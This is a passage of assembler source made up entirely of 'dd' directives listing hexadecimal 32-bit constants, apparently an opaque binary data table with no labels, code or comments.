dd 0C84FC0h, 0B3D6C4E8h, 55B23B54h, 6947B100h, 0EFB87E5Ah
dd 0E6D47C06h, 1079C383h, 9CA47D39h, 22489C23h, 0E9F91F0Ch
dd 0E0689Eh, 0FE9CC5D0h, 61B79085h, 1C54E429h, 586A581Ch
dd 42EC123h, 219068FCh, 4918D184h, 3411A943h, 0A7AD84CEh
dd 1843A831h, 0BB3828D0h, 1F8D223Ch, 0E7FED60Eh, 0AEC139B1h
dd 2843188h, 0A998306Eh, 0ACA6CE20h, 908BD3EEh, 88823DFDh
dd 31C2AED5h, 109198C8h, 51FD2E7Ch, 0C95596Ch, 24D1460Ch
dd 5CC200F9h, 5202206Ah, 0CA65CD2Ch, 180286A8h, 118FB351h
dd 0AD840A70h, 0B9C8328Ch, 0D85874F4h, 2184AEEDh, 94949EF8h
dd 5029C46Ch, 18D40431h, 3CBE5415h, 38758E18h, 0BD47C0A6h
dd 0A8757014h, 0E1E244C8h, 1CF4195Ah, 3C96548Dh, 0BE5921E3h
dd 78AAA89Dh, 108C1971h, 9D9030ACh, 58282F91h, 111968FCh
dd 2BB12FCh, 906A552Ch, 0A447C104h, 0D94288BAh, 0FD8B202Eh
dd 306A0EE7h, 59144410h, 44993DD8h, 0B81988D4h, 56F42386h
dd 0C1DC1404h, 60980122h, 4D8647C0h, 61C408E0h, 0BFF831A4h
dd 88FC2918h, 14C44784h, 0CA9C47B4h, 98E1D851h, 0D80092E1h
dd 250F666Ah, 61C29080h, 0DCEC5D2Ah, 304115E0h, 0F728D524h
dd 0E1EC47FEh, 73B853Eh, 0C12D4CEFh, 0B6558D70h, 0C5C40CDCh
dd 66B0A825h, 51A66230h, 62443DFCh, 0ECC8D8E3h, 5C5E2498h
dd 82C28804h, 0A8216801h
dd 9830B1E7h, 180691CBh, 6288E0FCh, 8558A06Bh, 0C33280EDh
dd 3F0058DFh, 4459912Dh, 28866894h, 0D1D008A0h, 85441837h
dd 23EB6607h, 67C07BF5h, 8002D606h, 2C61AA69h, 7AA88C4Dh
dd 30E060A7h, 30E554E9h, 2AE3DB05h, 9421F789h, 0B0444309h
dd 20A9428h, 82C3ABDEh, 540157D1h, 5180EB59h, 582CC8C2h
dd 11C3D444h, 2569D82h, 4306929h, 2040D281h, 4128943Bh
dd 5519B05Fh, 91381BEDh, 1448E18Eh, 54DBBFC0h, 3E14552Bh
dd 5885087h, 0B3463DC4h, 0D67FCC45h, 0C257A823h, 79FC9933h
dd 0F9C5A450h, 0FCC0509Dh, 32EF4CCFh, 29607848h, 41A3085h
dd 784E949h, 0ECF15D67h, 0F0B6B360h, 7C1F2AE1h, 0CCE900C4h
dd 0B296CB46h, 63156D91h, 75F47154h, 0E80C68ABh, 51BE7021h
dd 0E103229Fh, 0C1C3349Ah, 1DFC5430h, 93AEE379h, 0C19F00EDh
dd 193B8CE7h, 8E19528h, 50FFD8A1h, 0C5EB60ACh, 487658h
dd 91CAD0B3h, 766B669h, 0FB638A13h, 0E3C28083h, 0E0A85AFCh
dd 0F014E6FDh, 80E8E52Ah, 5453719h, 0E630A1BBh, 0C6DB4810h
dd 98436788h, 0EE27F810h, 0E0B0D1EBh, 1B237AC0h, 2A028776h
dd 0C2BD932Bh, 26488080h, 807CFC0Dh, 41F03D7Fh, 65C88C54h
dd 28BDEB10h, 0E0CC52Ah, 0CAE181Fh, 0C2ECA05h, 5C20A280h
dd 2A709E40h, 0F018C7FCh, 5AD1562h, 0CA00B419h, 6B270955h
dd 0C9343B78h, 7880A842h, 80C0ACD5h, 46484159h, 0F5EB8238h
dd 257C61BBh, 0C9E7A860h, 840FA358h, 8814420Ah, 7D08A76Dh
dd 25C84C44h, 94987A54h, 45051892h, 667BEF48h, 54005CC5h
dd 71C43BA1h, 0C890C7B2h, 300957C6h, 0A3FBD00Ah, 651F5E00h
dd 0AF2C59DBh, 851B0742h, 87588B4Ch, 275B80F0h, 46609E9Ch
dd 8FB6BC28h, 0AC4063Dh, 41AFFBE2h, 43EC3607h, 72C0C106h
dd 0C05C3h, 5FC6AD45h, 1C90B195h, 0B9FE2303h, 1218D6h
dd 3AFA0E80h, 0BC8C89C9h, 42A4914h, 94200648h, 7500730h
dd 0FACFABFCh, 0BCA8C110h, 3EBE0FEh, 4DF210C0h, 0C7DAC163h
dd 0C99B1BC1h, 50863B83h, 3EC6C5C8h, 48C7E230h, 81122A93h
dd 0BB9CD836h, 2F917801h, 0F159C8AFh, 63582C50h, 4A660C27h
dd 0C2202DE7h, 0DF227B03h, 0E3671E4Eh, 5C1918FBh, 0C22C4123h
dd 2448F829h, 0DA6AD600h, 2982BC57h, 348A1EFh, 5BEC02A4h
dd 54CEF003h, 7C962B8h, 63762048h, 45031086h, 0DB543FA5h
dd 4C33DF30h, 0B0C8F1BFh, 28C0459Ch, 2082F93h, 0DAD84B64h
dd 0BC807CEBh, 6C9D69A0h, 94A8AD61h, 5180CE4Ch, 85E922EDh
dd 771458C7h, 0FCB0FAh, 8374EFAFh, 3F0B6C0Eh, 0CF25238h
dd 5F7585FDh, 0E40AD879h, 8453D67Bh, 0FF0674BCh, 0AE7FC769h
dd 39C7168h, 458ECAD5h, 381C5A55h, 34C091E0h, 0FB883ABCh
dd 4519C020h, 927CF194h, 662D0A0Ah, 0DE006847h, 444250BAh
dd 9567823h, 207967ACh, 0EE1C3818h, 391273FEh, 870CC9Ah
dd 3C3835C3h, 8280BC56h, 23378BDDh, 5B2850F9h, 1F1388ACh
dd 0C804562Dh, 5880AE2Eh, 81825AF5h, 16C4F8D1h, 0D06894F9h
dd 98B098F4h, 0EFF80C38h, 3D382D18h, 0BC6B7D03h, 0C5ACD164h
dd 220FA405h, 67FC2043h, 6B23C136h, 15AAE880h, 0D17BBE26h
dd 9CB26968h, 702D8A80h, 0C833B04Bh, 0FB807518h, 234D5856h
dd 544739FAh, 1078AD34h, 200110F0h, 0CEC1144Bh, 0B4A4522Eh
dd 109C5527h, 0C388AB22h, 14102A1Bh, 0F11DF0E0h, 0C7395BD8h
dd 65655211h, 6A18073Ah, 2C6BF284h, 47937F20h, 9810A14Ah
dd 67D275E0h, 828A113Ah, 3080435Bh, 6247849Fh, 3A202762h
dd 2EA8A03Ch, 0B8556E31h, 4174A831h, 0BF3A1C8Eh, 0A56480B4h
dd 959D6FA6h, 0FD204C60h, 900AD3ABh, 0B1203CB0h, 0F4EB6800h
dd 4044939Bh, 48C061DFh, 1211669Eh, 68D1002Eh, 6487CCD8h
dd 3714042Ch, 4DC1F7Bh, 0C77292CBh, 90C0C80h, 0F7A52A42h
dd 2875EAF4h, 0F5B47384h, 24A47ED4h, 3A184860h, 0F1187D30h
dd 28241592h, 0CB005071h, 4A7F3BCAh, 0FB8A1287h, 2DA84180h
dd 306573ECh, 0ED0A969Ch, 804FDA68h, 0A40CEA93h, 0A2FD070h
dd 9CD4DCD2h, 0D3BC06ACh, 12031844h, 0A31E52ECh, 5D7FE00Ah
dd 583C5069h, 589CA97Ah, 23A848FAh, 6B2020ECh, 0EFCABD1Eh
dd 0ACC74006h, 98A00F41h, 0A138FB8Bh, 0D4A81CC3h, 190251DAh
dd 86E6A29Ch, 584622h, 461BE7BDh, 8B20816Ch, 76ADA620h
dd 45B626F1h, 40CA0964h, 0B5F01020h, 9C262011h, 0BCE4E7h
dd 592DB4F8h, 122E1B19h, 1491BA96h, 0B373CB4h, 0C9E0F81h
dd 5818306Fh, 0A2514F60h, 0E8DB78A9h, 278234D2h, 79C080E9h
dd 0C9DEC419h, 28108108h, 0D0931014h, 22BC0031h, 24C6E68Dh
dd 47671BC2h, 5A27155h, 8198441h, 50657888h, 0C84E0809h
dd 0DC465220h, 304540h, 585EF894h, 0AB80AC02h, 412F20D8h
dd 0FC30DCDCh, 14FB0164h, 42248645h, 1CD1C459h, 0FA61F49Ah
dd 0F068A338h, 67060060h, 0C3DE19D8h, 383BAD72h, 92E00027h
dd 9B6C5626h, 3E18C98Dh, 97D7E024h, 0D06F34B8h, 0CE43AC14h
dd 0FB776306h, 303895CFh, 0AB29B8D6h, 717AF0B4h, 235AED05h
dd 5C01AD43h, 0D29D6E1Fh, 62602834h, 0AE471084h, 0BA084624h
dd 770A5844h, 6C800F18h, 4CAD6B04h, 0A865108Fh, 1B787C8h
dd 0CDE7F513h, 60C0A975h, 0A4A80A3Ch, 2E025ABFh, 68AC6965h
dd 806C415Bh, 0DD27A041h, 591BA020h, 8B2CE4EDh, 80002447h
dd 0B9E0A475h, 0AE3C8D93h, 0A488BDBDh, 3CBC08A0h, 0FF0C094Eh
dd 800C816Bh, 0C7F8A444h, 0DAAE01EAh, 2F9D8903h, 2ADC60FEh
dd 41DF2400h, 82DE6C19h, 0A0B2F9h, 8DA01DB6h, 0D14F042Fh
dd 98C3F3E0h, 75AD46EEh, 0F02C40C9h, 9671B02h, 556AC45h
dd 0D8B0C9A3h, 0C2241966h, 2F800085h, 48CF5FC3h, 0A938715Bh
dd 9CE21B94h, 94583F78h, 12248DA6h, 0B7001C2Ah, 81350479h
dd 112E8EA4h, 18E167FFh, 333AD034h, 0DF8826FBh, 7C97A6A8h
dd 90AD8C20h, 88750250h, 1ED96EBCh, 62EC6040h, 4823F4A8h
dd 8E3A8518h, 446AC11h, 20012CBEh, 10BC887Bh, 584CF258h
dd 2AC493Eh, 125D2E2h, 0B534E023h, 4518CB24h, 55703482h
dd 67D0D808h, 5C9093h, 988AAA21h, 0CC9C4523h, 88385A00h
dd 1A910E78h, 38849036h, 0D9009239h, 0BC23A0D3h, 0D8B23190h
dd 0D40AC90h, 45E9C0CEh, 13CA3A8Fh, 82D1C60Dh, 56CD1058h
dd 70821C65h, 4D2DA2DCh, 5A502CECh, 0A72CF51Ch, 0D012BCB9h
dd 84A8F051h, 22558CAh, 4D93C74Ch, 0DD5C8CB4h, 7BE0147Ch
dd 3946C4E8h, 0D2F9361h, 0D432FEF9h, 0FA095053h, 4420BC1Fh
dd 6C188045h, 0CC0B3E24h, 75BB8781h, 0C054279Ch, 8C8AD85Fh
dd 588588A2h, 801441D6h, 6AEB330h, 33DE1081h, 0EF167196h
dd 80016734h, 0A91A3A93h, 28CCED4h, 0BD8F2BEBh, 0B084D903h
dd 3E9C9810h, 61D6D18Fh, 5C8440CCh, 0D4049B96h, 0C8E92A5Eh
dd 154B8C8h, 4049129Ah, 485A84ACh, 10858BCh, 8071C002h
dd 0D456CED9h, 8E24AA4Ah, 8D9E2CBCh, 4FFBFC02h, 9C4C680Bh
dd 94C4EEBFh, 0DAC0FF4h, 0B0A68590h, 902A8407h, 741E6E85h
dd 0AA557A01h, 7C32ADECh, 0A61E8500h, 0DF16505Bh, 97EC303h
dd 0F6F0C098h, 12BF1FD0h, 0B84F0683h, 571B497Bh, 88B1E0D6h
dd 0C514FFh, 1BC225C3h, 0D5649C6Ch, 5818113Dh, 98F401FCh
dd 7BD3C612h, 0DBB5B0CFh, 610D0223h, 6E9D68E0h, 0B85CE864h
dd 0F81626C4h, 9168EF42h, 2095A708h, 8A00C81Eh, 88E6BC81h
dd 94AB98FAh, 601B14B9h
dd 6A4DDA64h, 4C007A28h, 74DD2DC5h, 6FB845BBh, 0C0E3C940h
dd 290F523Ah, 0C89C113h, 55E16132h, 4431E0A1h, 0D33618Ch
dd 16503AF9h, 51C08D14h, 0EAF1A772h, 2CC092D3h, 2134E00Ch
dd 17F8029Ch, 6C404404h, 827B2DCDh, 8313DE01h, 0DAB84218h
dd 10F2C2Ch, 9F40C661h, 845C6E5Bh, 0BCB37526h, 304B5597h
dd 0CA18B902h, 970B9C29h, 28997593h, 1AB4203Ch, 79DB11C3h
dd 0B859D8B4h, 3208BA32h, 1A803583h, 48780883h, 0C90FC1h
dd 0CE76DC5h, 444A6638h, 5274BF49h, 606A540Ah, 2411CCCDh
dd 9852D439h, 927A9848h, 620E0354h, 8C88BBA5h, 821248D8h
dd 53F04B00h, 7EC363Dh, 0B528C07Ah, 0E30FE20h, 240227h
dd 7859F2CCh, 0A95F019h, 0FE4003FCh, 9FCA600Ch, 57EDE291h
dd 3B2260B0h, 9C001227h, 8BD05A2h, 0A0A00C62h, 48CFC240h
dd 6C4B84BFh, 6010EC54h, 7F126FC8h, 34ECDC43h, 48E6778h
dd 25D9DAC7h, 0BC70F0AFh, 10FACF11h, 71A0716h, 0FE4C8520h
dd 0DAE12C20h, 0B1009564h, 5623378Ah, 981C27BAh, 26F17EA8h
dd 28DFE4h, 358EF04h, 8002C784h, 96632060h, 5BE0421Ah
dd 2C20B970h, 7F102900h, 84BDCAE3h, 5F4B44h, 77DADE60h
dd 58C2428Bh, 0A37E217h, 8AB43E60h, 38BC8D18h, 1DB90F8Ch
dd 88C94A94h, 68920E07h, 3300A8DAh, 0EB5FB581h, 0E0480011h
dd 0AF2946C2h, 0A4016CF8h, 881DC6CCh, 818FAAFBh, 30269412h
dd 1BF64869h, 0C4F0B841h, 183E6450h, 404CC91Ch, 97EDBFACh
dd 884F752h, 0F1D1E11h, 16ECE8E3h, 50000930h, 48C151D7h
dd 320121E5h, 69F8B14Fh, 84B9D918h, 218435E4h, 49C08BBEh
dd 519994EFh, 0F884B069h, 17B0BA6h, 6B09830Fh, 9B20C20Bh
dd 0E1D861A6h, 6216DB00h, 2DEDC109h, 5824007Ah, 9878F668h
dd 336616ACh, 0DAD84008h, 0FDB52E92h, 7A00D576h, 453B8D0Fh
dd 80C538h, 0E123A79Dh, 65D5104Eh, 6BDBB901h, 0EFEA7CB5h
dd 14BB35E0h, 20B4E47Bh, 48C67438h, 2F6F1DF4h, 37F1CF41h
dd 3880FB51h, 0D561D13Ah, 972E4A9Eh, 9D1C1189h, 42ADFC83h
dd 60CEBA22h, 4CB291h, 48EB14F7h, 0D121B0EDh, 0EA8E9D19h
dd 2F100A29h, 803CB67h, 0BFC06014h, 0DAF3C002h, 3F35073Dh
dd 603A63B5h, 421001A3h, 7CFB8C01h, 4AE21230h, 3754D8h
dd 570325Dh, 0CA9CA95Eh, 5C45D03Bh, 5DE02C82h, 0CB85F801h
dd 5FE0AA4Eh, 40970008h, 2BCA8030h, 470759FBh, 566EA526h
dd 8F467FA1h, 1E313C8h, 48F1DC9Bh, 0C03370C9h, 237238BDh
dd 7A03F5E6h, 0E913D0FBh, 1128A8A6h, 0F62530AEh, 7FA2FA18h
dd 700043F2h, 16968E04h, 260710h, 0D4EC7586h, 0B92735BFh
dd 0F733B528h, 4CEA0C07h, 42265FEh, 5CDA403Bh, 0DB876h
dd 0D4021C5Dh, 2E79E29Ch, 1B426000h, 3032FB71h, 0A5120016h
dd 0D5E6CA9Ah, 0A8005135h, 0B6086761h, 78ECE46Bh, 4C7900BCh
dd 6E1CC50h, 0C90D848h, 2F17BE00h, 0F2121CE6h, 7EF400F3h
dd 8D59F10Fh, 601DDCFh, 4B020965h, 94E4EEC1h, 0D6EC0026h
dd 0C7343B81h, 0B908340h, 21742972h, 54FE3A00h, 5669D485h
dd 6ED0070h, 2DC78DDFh, 0D6077D23h, 0EA3D4453h, 0E4944660h
dd 802070Ch, 406F1D3Bh, 8126DFFDh, 27C3201Fh, 0BFB10300h
dd 0F0141889h, 0B6AB00BBh, 36D2D13Dh, 3400BE3Ch, 867F0244h
dd 60068954h, 0EE73090Dh, 1BFC0F25h, 31FC4B2Eh, 0A14FCA00h
dd 19015D4h, 72202E40h, 0C48D071Eh, 73000C56h, 37D3AFA7h
dd 9E2236Ah, 0D0A0B33Bh, 8EBF7800h, 47E8E37Bh, 78FA703Eh
dd 0A78BA317h, 0CAD3A507h, 0B8A96CC0h, 0BE6103B7h, 0D4609B4Ah
dd 0DBEAC085h, 51016D07h, 196E14A2h, 0F9FCC74Fh, 0D7FA00C2h
dd 0BC3F8E22h, 500E4B27h, 40A969E7h, 61E4B41Eh, 6C2400F6h
dd 0EF05784Dh, 333CA31Ch, 0EACB1F5Fh, 0DDA46E40h, 8A6A94h
dd 8431A660h, 9B4E764Ah, 0BF792678h, 6E3CEF7Ah, 8E0E8090h
dd 0D5196653h, 0E4500F37h, 5AC742F6h, 0B7CD1117h, 6147CC75h
dd 0D265E4A0h, 9ED7C705h, 87C00879h, 5C50288Dh, 0E6004383h
dd 0D6200A23h, 7A1CF238h, 2409FC3Fh, 0D30680DAh, 1C1FBCB0h
dd 81A4F3AFh, 99BAF952h, 8F8EF859h, 0FCD65E00h, 111EBBCCh
dd 6637073Eh, 0A3B71204h, 8109E36Ch, 7BC20F1h, 0DFE2AEB9h
dd 95807F55h, 66647860h, 0C95AB800h, 7AFFA003h, 3167007Bh
dd 535E2737h, 140F02E2h, 2C42C2BDh, 1A701830h, 7A755F1Bh
dd 435D8740h, 4F3568C0h, 0A28AEAh, 67B1E27Ah, 0C30A94B7h
dd 7F996A0Eh, 481980EDh, 354A8Ah, 81212AFDh, 59BD3B5Ah
dd 0E337CC00h, 14CA2938h, 7CFD0036h, 17E79F5Fh, 75F0AF9Ch
dd 0FBE39200h, 335AAC7h, 1CD9042Dh, 80F3F4F8h, 87BFCC3h
dd 0D0220F1Ch, 9C02C8C0h, 1D958E8h, 4CCA6842h, 301388EFh
dd 7003F68h, 0FEA42FC7h, 75DAA80h, 2AB09C9Dh, 0DBC2C0ECh
dd 7A7467B6h, 8C18FF00h, 64F2C74h, 3ED0289Bh, 2D041FACh
dd 23B8C0A5h, 0CAC01082h, 0D309BC76h, 0F763122Ch, 0F58D5300h
dd 9C00FA87h, 0AEE125A0h, 74E03BD6h, 0E4A7A0EFh, 1638025Fh
dd 2FFE7701h, 0B46BD040h, 879F4600h, 5809C0B2h, 0C7DD389Bh
dd 0A5A77103h, 12A32440h, 0B136B88h, 380018FCh, 53CA79AAh
dd 14F74D5Ch, 0ECB9936Fh, 0C0456C1Eh, 0A0BA8C96h, 0A7001B34h
dd 523C4F62h, 265E08h, 0BF67A983h, 1CE0CDA8h, 50B07900h
dd 0B696AB1Fh, 8C080058h, 0FA266D6Ah, 0A500135Eh, 0D8F667BAh
dd 7FBCC6h, 0C18034DAh, 5EE2861Eh, 92070400h, 1CA42239h
dd 8E98A0FBh, 0BECE002h, 0F70F1F11h, 0FA212E01h, 66676043h
dd 7BE69407h, 0C3A4DFF9h, 8977FC80h, 81BB0056h, 57D2A445h
dd 26073CF0h, 3F7E701Ah, 0D15F72D0h, 2678E89Eh, 904E2A9h
dd 90802744h, 281BF8A5h, 83369B60h, 757849h, 4A71884h
dd 3AD6DE70h, 6B4C9BE4h, 880D0044h, 6D5C4ED3h, 18F0DFh
dd 0CD46A9A8h, 0DA12CA17h, 56904300h, 0EE34FB81h, 73B70037h
dd 206908A8h, 7400D9AAh, 0BDE22490h, 90F9AD3Dh, 0C4CF1488h
dd 5A00A419h, 0DB8C678Ah, 4A003AD4h, 0C3BB63B3h, 151F05h
dd 7FA7FED5h, 8EAD8731h, 0BD8E000h, 0BEB0D680h, 0AA50019h
dd 0F49F3A4Eh, 0CA00221Ch, 0A83C5B90h, 579445h, 4C6B43CCh
dd 0A29273F0h, 0BEFE3407h, 58820FD8h, 4C0890A5h, 0C1354111h
dd 0B121E009h, 1D8821C0h, 7F68C863h, 16081CACh, 7C6601CDh
dd 0F442D615h, 73013709h, 9B467AD4h, 6471E9CCh, 0E5CFE8E3h
dd 881D5D33h, 0BA8C3A3Fh, 0D821E1CBh, 0EE380h, 3B640416h
dd 0A656F001h, 7C1ECB76h, 0D6C09EDDh, 0D7B3CFC0h, 826F134Bh
dd 65820233h, 2C802BBCh, 0D7D34789h, 0AE1EC3Ah, 147F52D1h
dd 73B63400h, 49582Bh, 0CFF73EFCh, 2E3DBCF9h, 0ED241600h
dd 0C73CF521h, 5AAB00A4h, 8B134C33h, 7800EC1Fh, 71CBA84Fh
dd 0E402409Fh, 0CA011CB5h, 186EC035h, 77256AEFh, 0B91C930Ch
dd 1DD3704Dh, 7D9E44h, 0DF9A9B23h, 62B8464Eh, 0CA5F1F00h
dd 724714DCh, 68EE00F1h, 914901C1h, 561EAFF5h, 15403BFAh
dd 34834E5h, 7A4B079Ch, 30521EFCh, 8B85B6D1h, 36A77600h
dd 562F04DCh, 82E4005Ch, 7108A158h, 0D6001D19h, 0AE1AC9Fh
dd 0E31077Ch, 3E4C170Ch, 51412A80h, 8400DD81h, 8765F01Dh
dd 0F8E949ECh, 0A4930209h, 0BE76981Eh, 476C7340h, 80F2CC39h
dd 5E979CD2h, 74F8EAABh, 0E2A20048h, 79C9E443h, 0A800E77Eh
dd 0ECC1FD06h, 0F1764Eh
dd 0F64A9ADBh, 0B5635B66h, 619DA800h, 0E0AF6E2Dh, 1BA755Fh
dd 0C021EFBDh, 43C8BF98h, 0AA886DFCh, 5272DE1Dh, 0CBE2B000h
dd 2470AEF4h, 2876ECCFh, 18E83E9h, 90E3CE11h, 0E0357E1Dh
dd 0FB18722Fh, 0CA58BBF9h, 0E50C0C91h, 0D5210342h, 28B96402h
dd 0E068F02Ah, 3977E685h, 1380C845h, 719AF5D2h, 17308623h
dd 580B8003h, 3CA160FDh, 47F9D31Bh, 443EB898h, 75688C0Eh
dd 106A13h, 388FBC89h, 1A5F9E92h, 6A00F5FEh, 32C64C60h
dd 3DBCB769h, 3B80E565h, 8EAEC579h, 0BE00A804h, 48C2FC33h
dd 7C032FFh, 0BA394BE3h, 2FD51A5h, 806DC0B2h, 6B9FDA1Ch
dd 4022F28Fh, 9CA91144h, 8AE30CF6h, 0D4B10845h, 77326177h
dd 0C07BF07Fh, 0C5C122h, 6763FA8Bh, 2E1413CDh, 8AAFE300h
dd 0FD4F0C3Ah, 657D00BEh, 75CEE802h, 2E0EC2A4h, 40D16C92h
dd 0ECD2221Fh, 6B90A09Fh, 0AC500FBDh, 0DBE7937Bh, 34CEAEF9h
dd 0D7101E82h, 9E0F8180h, 1F8B24Ah, 12E91D00h, 0A55CF32Ah
dd 0F3DBE929h, 0D8180004h, 81D15459h, 2700CADBh, 42875E1Fh
dd 1C78E0h, 4DF69C8h, 0A23C1247h, 53108C07h, 805B4AB9h
dd 8FF00AA0h, 56BE0F52h, 0C3A019B8h, 0E087CB2Fh, 1068401h
dd 3F480CF5h, 0F1F5460h, 0B25CB051h, 0A200FE5Dh, 0E0FFF1ECh
dd 1400AFDFh, 5BF5DD6Dh, 6032A539h, 941902BEh, 0E0C57F2h
dd 903A6C81h, 0E14E00E3h, 5DD24D9Ch, 7D00860Dh, 2EB70918h
dd 0F28AFCh, 0C6487FEEh, 38C72436h, 54FE6107h, 3245A23Ah
dd 0E8E1CFC3h, 3BC35AF7h, 1D0089D1h, 0D23A8134h, 720E0E7Bh
dd 60651B96h, 862A0340h, 0F213D61h, 0FBA0E880h, 4E0D2D8h
dd 0C2693B00h, 0C6FAC78Fh, 0CD3A0316h, 62FD48D4h, 402A86F0h
dd 98C0542Ah, 2F96407h, 0BC90CE59h, 0A5E958h, 62CFCDA3h
dd 1A508A61h, 1AEFC48h, 0B0AF294Bh, 888E8FA7h, 3D607B68h
dd 2B10E7F3h, 26185E00h, 0CD07C49Ch, 0CC480181h, 93AD9F1Dh
dd 789E2057h, 8E5EFE00h, 0FF1E8A2Eh, 3F1B00CAh, 6AC405B9h
dd 5C0EE45Fh, 0DCE5A2h, 2DCDB039h, 4AE416h, 0D24B1F4Dh
dd 3738B41Dh, 535BBF01h, 0B39B0D2Ch, 87EBC4h, 0B56E1362h
dd 0A629B293h, 0F6815B00h, 91516B7Bh, 0BBF44Ah, 0DACA4771h
dd 2DA0CDE4h, 79BE7A1Fh, 7B1AB907h, 2B80E0F0h, 0DF95005Bh
dd 12A14238h, 4F03B89Ch, 0D2DE11BCh, 163CE861h, 252B0003h
dd 0F9319AD5h, 0F3005999h, 3335D10Ch, 0B971B2h, 5E04F113h
dd 831AACA3h, 0FB99D200h, 0D12E2742h, 6A6C00F6h, 7ACEB751h
dd 4B012824h, 9816C1B2h, 0F0E82745h, 47F6D7h, 33A6038Dh
dd 6E6FC2CFh, 0F3D60200h, 752E3ACAh, 0B440009Ah, 7A6884B9h
dd 7B006116h, 2493FF86h, 0F8B8E2BFh, 0B2F60106h, 0EE91A35Ch
dd 0AF80DCD5h, 0B6D4FA00h, 0FF311AD9h, 0FD600012h, 29ED7041h
dd 0A300901Ch, 0A2B5912Bh, 0A35E5B7h, 5B085307h, 86F100A8h
dd 961FBF1Bh, 9C08201h, 892C3EA5h, 0FCB230h, 0DA25F4FBh
dd 7F2DEDE3h, 1C868003h, 80E08833h, 1CDD38F3h, 988B36h
dd 0ECF4AFD9h, 180071EDh, 0AC17B8D6h, 1E5761h, 0BD77BEF2h
dd 0CF5D0499h, 0C28F0C00h, 8D529E09h, 2AEA0014h, 41A58C65h
dd 0A2F849A4h, 4F3BDB00h, 984E1974h, 0E8BD00DAh, 0B6BBBE25h
dd 0B007368h, 94F8FDEEh, 5D3407h, 0E43DB85Bh, 7CF39F8Dh
dd 60907A00h, 4935B38Eh, 4CAF00CBh, 3E93EE59h, 8900C1D0h
dd 76967A0Eh, 8DB8B5h, 2A954F1Ah, 37D83E26h, 0E765AB00h
dd 0C0141E72h, 4E53002Eh, 4F75559Bh, 0C90006ACh, 3D674A7Fh
dd 0DDCE7Bh, 0B4744E66h, 0A1756527h, 2BBF9C07h, 0CE0AAF8Ch
dd 0D1174900h, 0E83FC6C7h, 0A55D037Dh, 3379ECADh, 9D8CCD90h
dd 8B09DB09h, 25DB80EEh, 36CA64h, 2DAEC2E0h, 3B68427h
dd 0F6331000h, 5B0779C4h, 0D6B50094h, 18E09B9Dh, 0F095705Ah
dd 0A16B00F0h, 1308C910h, 4702AFA8h, 0F09E8C2Ah, 0E0506322h
dd 0E34E1B48h, 0EECEDF20h, 0E6580FA1h, 3820DAF5h, 0C7118AA7h
dd 0DBA66A00h, 2F2064B5h, 5F820074h, 9E19CA89h, 0A013D487h
dd 2500F1D9h, 0D02FBC7h, 5E123ECCh, 43351680h, 992B079Dh
dd 76F4E009h, 0A0302E5Bh, 10FB7C17h, 24ADE26Ah, 74E8A6h
dd 0FCF033D3h, 803AFA02h, 0FB51001Fh, 2E2A5B70h, 776603BCh
dd 79ADBB5Fh, 83D78FD1h, 5CC04EA6h, 5D0E9142h, 1BCC70h
dd 20B42952h, 7E80716Dh, 0B25E7A00h, 2C41AE8Dh, 146FA4Eh
dd 52FECF37h, 0D0D9778Fh, 4300D293h, 1752C3Ch, 0E576C253h
dd 63F4D560h, 9C2BB8A2h, 115BA0F0h, 74B9AB58h, 74F6AC0Bh
dd 0CDBE80EBh, 710787h, 0EAB13F41h, 85DAF3D1h, 7C30D4Ch
dd 4F63CD1Eh, 37E3FB50h, 7A25003Bh, 66789646h, 4E482BE2h
dd 0CD57035Bh, 0C53755AEh, 21899807h, 84FA5FC0h, 76AC03FDh
dd 38F023D3h, 88F92130h, 0F8ECFAB2h, 0B10CA0FBh, 0E8AE018Ch
dd 0C316D250h, 0A944D06Eh, 0B428CDE0h, 0A5008431h, 2DEBE0C1h
dd 4A5780h, 792269Ah, 0C95616F6h, 4C5D6A00h, 0F344AF58h
dd 0AEC30028h, 0C15111A1h, 0EA7A10BDh, 15630C00h, 4B503C0Ah
dd 54910075h, 0FA7B69B1h, 5F0093D9h, 5E183ADFh, 1AB0841h
dd 0C734A49Ch, 0E4FE0BAFh, 1A0197C2h, 0F1C12999h, 0E2F0870Eh
dd 71E0774Dh, 59650610h, 0D97A6418h, 5175B00h, 254BDAE5h
dd 58CF0327h, 59982E5Ch, 30B70CA0h, 0A8A0CCECh, 0E9C0379Ah
dd 0EFA90D58h, 9BF20B96h, 4780B5ADh, 0D2CD3034h, 0FBC6200h
dd 1D387854h, 0CE81Bh, 989BCF8Ah, 5FDAD249h, 32818460h
dd 7FF3A0h, 45DCFFAFh, 1B297E31h, 7A016278h, 0DD6C8B2h
dd 0F870CDB8h, 7F540646h, 416EA9C4h, 28F6DF24h, 8940E99Ch
dd 0C5AFDE57h, 4E25008Fh, 69A5ED1Eh, 0CF028C98h, 0C902693h
dd 23809850h, 0F078ABh, 39D55ABCh, 0DC957319h, 2784C250h
dd 0ADEC081Fh, 0C9CF9207h, 9ACD8500h, 78DA1E75h, 0DEFCC774h
dd 152B3023h, 13308766h, 0F1D091F8h, 0A7B802F4h, 4DEE37B9h
dd 607AD84Bh, 0B07B20Bh, 0C6220125h, 918682BEh, 28D814E4h
dd 450F50F0h, 0A1D1E1C3h, 2A305947h, 0C0A3DE30h, 0EBF6C21h
dd 8E00555Ah, 0E343FC91h, 6E8C665h, 39156D95h, 4439600Dh
dd 8FA49F51h, 8D988907h, 83D32421h, 15B3E0h, 9091205Bh
dd 6792F8FCh, 64EA050Eh, 4EFD0089h, 1DE10BF7h, 0CBF62h
dd 726D796h, 27726332h, 0D366E500h, 0D85A490Ah, 0F7760113h
dd 793BCCCAh, 69AFDC3Fh, 9C0040B0h, 0D6BC88FDh, 0A74C65h
dd 0F790D04Fh, 6FFAED56h, 0B04DC0Fh, 0BBEF808Dh, 3A9D2C5h
dd 3E3B20FBh, 57982BE9h, 0CE0E06B1h, 2F6C2h, 0E7F8A164h
dd 0E09D3BD4h, 4B48EEB0h, 0F5003B2Ch, 0BE5C4FB0h, 853CCAh
dd 9822B6EBh, 1D64D66Eh, 0D00050ECh, 0E85AEFA7h, 16B22Dh
dd 0BCA02608h, 8DF99FFFh, 14344D00h, 3FB758E1h, 0C7C51C3Ah
dd 59AEF4h, 352B9B04h, 4D3F880Ch, 0EAA98FEEh, 9DFE40C6h
dd 4281F5h, 0F65411D2h, 99893DEFh, 0A71BB700h, 0D33358D4h
dd 256100B9h, 386AB18Fh, 54040140h, 0C5C9C4FEh, 29F23FC0h
dd 241F0389h, 13849DE3h, 0DECFD0E7h, 69007633h, 0DC3C2C6Fh
